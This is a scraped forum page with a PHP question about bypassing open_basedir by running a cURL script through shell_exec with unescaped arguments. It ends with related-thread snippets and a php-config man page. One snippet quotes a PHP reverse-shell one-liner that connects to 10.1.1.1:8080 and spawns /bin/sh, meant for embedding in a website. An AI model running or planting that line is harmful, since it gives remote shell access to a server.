Sponsored Content
Top Forums Shell Programming and Scripting CURLOPT_FOLLOWLOCATION, open_basedir, and shell php? Post 302331474 by RacerX on Monday 6th of July 2009 10:13:10 AM
Old 07-06-2009
CURLOPT_FOLLOWLOCATION, open_basedir, and shell php?

I wrote a php-framework-based web application that utilizes CURL and CURLOPT_FOLLOWLACTION and it works great on my localhost. However, when i move it up to the client's shared webserver the open_basedir is set, but safe_mode is off, and i'm running into the error msg:
Code:
Warning: curl_setopt() [function.curl-setopt]: CURLOPT_FOLLOWLOCATION cannot be activated when open_basedir is set in /home/user/public_html/myscript.php on line...

After doing some googling on this subject, it was suggested that you move the part of the php code that uses CURL into a php shell script and put it in the /tmp directory on the server, then inside your web application call the php shell script with this code:
$data = shell_exec('/tmp/myscript.php $first_arg $second_arg');

I gave this idea a shot but it does not seem to be sending the variables to the shell myscript.php and is returning part of the headers despite using the -q flag at the top of the myscript.php file, #!/usr/bin/php -q and errors out with:
Code:
X-Powered-By: PHP/5.2.9 Content-type: text/html  malformed

Is this because shell php or CLI php is different than web-type php? Or am i not calling the script right or have done something else wrong? I am open to suggestions.

The myscript.php that i'm trying to get to work looks like the following. Any suggestions on what i can do to get this to work:
Code:
#!/usr/bin/php -q
<?php
    $my_url = $argv[1];
    echo $my_url;
    $my_refer = $argv[2];
    echo $my_refer;

		$Debug=true;
		$ch=0;
		$ch = curl_init($url) or die(curl_error());
		$mycookie_file="/tmp/cookiefile.txt";
		
		// set a page referrer
		curl_setopt($ch, CURLOPT_REFERER, $refer);
		// set the url to fetch
		curl_setopt($ch, CURLOPT_URL,$url);
		// set the cookie in specified  file
		curl_setopt ($ch, CURLOPT_COOKIEJAR, $mycookie_file); 
		curl_setopt($ch, CURLOPT_POST, 1);
		// return the value instead of printing the response to browser
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		// give me the headers or not?
		curl_setopt($ch, CURLOPT_HEADER, 1);
		curl_setopt($ch,CURLOPT_TIMEOUT,15);

		$data=curl_exec($ch) or die(curl_error());
		$info = curl_getinfo($ch);
		$valid = array(200, 302, 301);
		if (in_array($info['http_code'], $valid)) {
   			echo 'ok';
   			return $data;
		}
		
		echo curl_error($ch);
		
		// remember to always close the session and free all resources 
		curl_close($ch);
?>

 

10 More Discussions You Might Find Interesting

1. OS X (Apple)

Error when trying to use PHP shell.

Hi, Now that I'm going to be using my Mac as a web host, I decided to use the PHP shell. However, when I type php straight in the terminal, the session freezes. Is there anything wrong that I'm doing? (3 Replies)
Discussion started by: Danny_10
3 Replies

2. Shell Programming and Scripting

cpio in shell called from php

I have a php program that calls a shell script, this part works fine and most of the commands work. However, I have a cpio command in the shell script, and for some reason this doesn't work. If I catch the return code, it's 1 which means it terminated with an error, but I get no other indication of... (3 Replies)
Discussion started by: mmarino
3 Replies

3. Shell Programming and Scripting

New line in shell/PHP script

hi all, I wrote a PHP script inside which am calling a shell script, In shell script, i used echo to output some results. In PHP script i just gave echo to the shell script output. But i couldn't enter the output in newline. Please help me! Thanks. PHP script <?php... (4 Replies)
Discussion started by: vidhyaS
4 Replies

4. Shell Programming and Scripting

open_basedir for exiting websites

Hello, I want to add open_basedir line for exiting hosts. all web site configurations located on /etc/httpd/conf.d and file name format : vhost_example.com I want to add this line php_admin_value open_basedir "/chroot/home/$UNIXNAME/:/usr/share/pear/:/tmp/:/var/lib/php/session/" ... (1 Reply)
Discussion started by: SAYGIN
1 Replies

5. Shell Programming and Scripting

How Do I Simulate a Shell Terminal via PHP?

----------- Summary ----------- I need a command/set of commands that can help me simulate a shell terminal via a PHP web page using commandline functions. How can I combine the power of nohup and a while loop to: start the shell, execute commands and print output (and errors i.e. 2>&1)... (8 Replies)
Discussion started by: blogmaster
8 Replies

6. Shell Programming and Scripting

Shell Script from PHP not able to cp or mv or anything

Hi there, For some reason my maintenance mode shell script is not working. Both shell scripts are chmod +x'd, and owned by apache, running from php using exec(), maintenance.html and htaccessmaintenance are both owned by apache. My code is: #/bin/bash cp maintenance.html... (2 Replies)
Discussion started by: CharlesKirk
2 Replies

7. Shell Programming and Scripting

Executing from shell , not from php

Hi, When I run command from php as www-data: cordova platform add android .. I get error without any solution in google. But when I run it from shell (also as www-data) - it works! So.. how to do to run this command from php but in shell (tty) not from php? Regards! (5 Replies)
Discussion started by: wrkilu
5 Replies

8. Shell Programming and Scripting

PHP TCP Shell

Hello, I am able to use the following code to test a shell connection using the local PHP interpreter which works fine: php -r '$sock=fsockopen("10.1.1.1",8080);exec("/bin/sh -i <&3 >&3 2>&3");' However when ever I embed this code into my HTTP accessible web site as follows, I get a connection... (1 Reply)
Discussion started by: landossa
1 Replies

9. Shell Programming and Scripting

Running php index.php as shell in webpage

so i have a bit of a unique situation. i have an encrypted index.php file that that can't be run the normal way that a web browser would run it. if it is run the normal way, the php script will show only gibberish on the web browser, instead of the actual php code. when run from the command... (8 Replies)
Discussion started by: SkySmart
8 Replies

10. Shell Programming and Scripting

How to tell php to read shell?

.... Solved.... .. .. Hello, I've read couples of similar threads to my question and I strongly believe that I am doing something wrong. What I'm trying to do is to process data with php. It reads data from shell script. Everything goes well but at the end it does not print what it reads... (0 Replies)
Discussion started by: baris35
0 Replies
php-config(1)							Scripting Language						     php-config(1)

NAME
php-config - get information about PHP configuration and compile options SYNOPSIS
php-config [options] DESCRIPTION
php-config is a simple shell script for obtaining information about installed PHP configuration. OPTIONS
--prefix Directory prefix where PHP is installed, e.g. /usr/local --includes List of -I options with all include files --ldflags LD Flags which PHP was compiled with --libs Extra libraries which PHP was compiled with --extension-dir Directory where extensions are searched by default --include-dir Directory prefix where header files are installed by default --php-binary Full path to php CLI or CGI binary --php-sapis Show all SAPI modules available --configure-options Configure options to recreate configuration of current PHP installation --version PHP version --vernum PHP version as integer SEE ALSO php(1) VERSION INFORMATION
This manpage describes php, version 5.3.6-13ubuntu3.10. COPYRIGHT
Copyright (C) 1997-2010 The PHP Group This source file is subject to version 3.01 of the PHP license, that is bundled with this package in the file LICENSE, and is available through the world-wide-web at the following url: http://www.php.net/license/3_01.txt If you did not receive a copy of the PHP license and are unable to obtain it through the world-wide-web, please send a note to license@php.net so we can mail you a copy immediately. The PHP Group 2010 php-config(1)
All times are GMT -4. The time now is 09:25 PM.
Unix & Linux Forums Content Copyright 1993-2022. All Rights Reserved.
Privacy Policy